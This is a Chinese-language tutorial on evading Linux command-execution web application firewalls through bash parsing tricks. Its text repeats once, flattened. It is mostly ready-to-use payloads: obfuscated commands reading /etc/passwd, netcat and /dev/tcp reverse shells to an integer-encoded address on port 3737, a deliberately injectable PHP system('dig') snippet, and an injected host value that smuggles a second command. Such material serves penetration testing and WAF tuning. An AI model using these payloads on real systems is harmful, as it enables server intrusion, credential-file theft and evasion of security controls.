命令执行WAF绕过技巧总结
字数 700 2025-08-18 11:37:37

Linux平台下WAF绕过技巧详解

前言

本文详细总结Linux平台下针对RCE(远程命令执行) WAF的绕过技巧,主要利用bash shell的特性来绕过安全防护规则。Windows平台不在本文讨论范围内。

技巧一:通配符利用

bash shell提供了多种通配符,可用于命令执行绕过:

常用通配符

  • * - 匹配0到多个任意字符
  • ? - 匹配一个任意字符
  • [ ] - 匹配括号内的任一字符
  • [ - ] - 匹配编码顺序内的所有字符
  • [^ ] - 反向选择,匹配不在括号内的字符

实际应用示例

  1. 执行ls -l命令:
/?in/?s -l
  1. 读取/etc/passwd文件:
/???/??t /??c/p???w?

或更精确的:

/?in/cat /?tc/p?sswd
  1. NC反弹shell(IP转换为整数2130706433):
/??n/?c -e /??n/b??h 2130706433 3737

技巧二:连接符利用

bash允许使用多种方式连接字符串:

连接方式示例

echo hello
echo h'ello
echo 'h'ell'o'

实际应用示例

  1. 读取/etc/passwd:
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd
  1. 检测工具是否存在:
/'b'i'n'/'w'h'i'c'h' 'n'c  # 检查nc
/'b'i'n'/'w'h'i'c'h' 'w'g'e't  # 检查wget
  1. 反弹shell:
bash -c 'sh -i &>/dev/tcp/2130706433/3737 0>&1'
  1. 其他连接方式:
  • 双引号:
/"b"i"n"/"w"h"i"c"h" "n"c
  • 反斜杠:
/b\i\n/w\h\i\c\h n\c

技巧三:未初始化的bash变量

bash允许使用未初始化的变量,这些变量值为null但不会中断命令执行。

实际应用示例

  1. 读取/etc/passwd:
cat$a /etc$a/passwd$a
  1. 测试代码示例(PHP):
<?php
echo "OK";
system('dig '.$_GET['host']);
?>
  1. 利用未初始化变量执行命令:
www.baidu.com;$s/bin$s/which$s nc$s
  1. 反弹shell:
/bin$s/nc$s -e /bin$s/bash$s 2130706433 3737

总结

本文介绍了三种主要的WAF绕过技术:

  1. 通配符利用:通过?*等通配符模糊匹配命令路径
  2. 连接符利用:使用引号、反斜杠等分隔命令字符
  3. 未初始化变量:插入null变量分割命令字符串

这些技术可以单独使用,也可以组合使用以提高绕过成功率。关键在于理解bash shell的解析特性,并灵活运用这些特性来构造WAF规则难以检测的命令格式。

Linux平台下WAF绕过技巧详解 前言 本文详细总结Linux平台下针对RCE(远程命令执行) WAF的绕过技巧,主要利用bash shell的特性来绕过安全防护规则。Windows平台不在本文讨论范围内。 技巧一:通配符利用 bash shell提供了多种通配符,可用于命令执行绕过: 常用通配符 * - 匹配0到多个任意字符 ? - 匹配一个任意字符 [ ] - 匹配括号内的任一字符 [ - ] - 匹配编码顺序内的所有字符 [^ ] - 反向选择,匹配不在括号内的字符 实际应用示例 执行 ls -l 命令: 读取/etc/passwd文件: 或更精确的: NC反弹shell(IP转换为整数2130706433): 技巧二:连接符利用 bash允许使用多种方式连接字符串: 连接方式示例 实际应用示例 读取/etc/passwd: 检测工具是否存在: 反弹shell: 其他连接方式: 双引号: 反斜杠: 技巧三:未初始化的bash变量 bash允许使用未初始化的变量,这些变量值为null但不会中断命令执行。 实际应用示例 读取/etc/passwd: 测试代码示例(PHP): 利用未初始化变量执行命令: 反弹shell: 总结 本文介绍了三种主要的WAF绕过技术: 通配符利用 :通过 ? 、 * 等通配符模糊匹配命令路径 连接符利用 :使用引号、反斜杠等分隔命令字符 未初始化变量 :插入null变量分割命令字符串 这些技术可以单独使用,也可以组合使用以提高绕过成功率。关键在于理解bash shell的解析特性,并灵活运用这些特性来构造WAF规则难以检测的命令格式。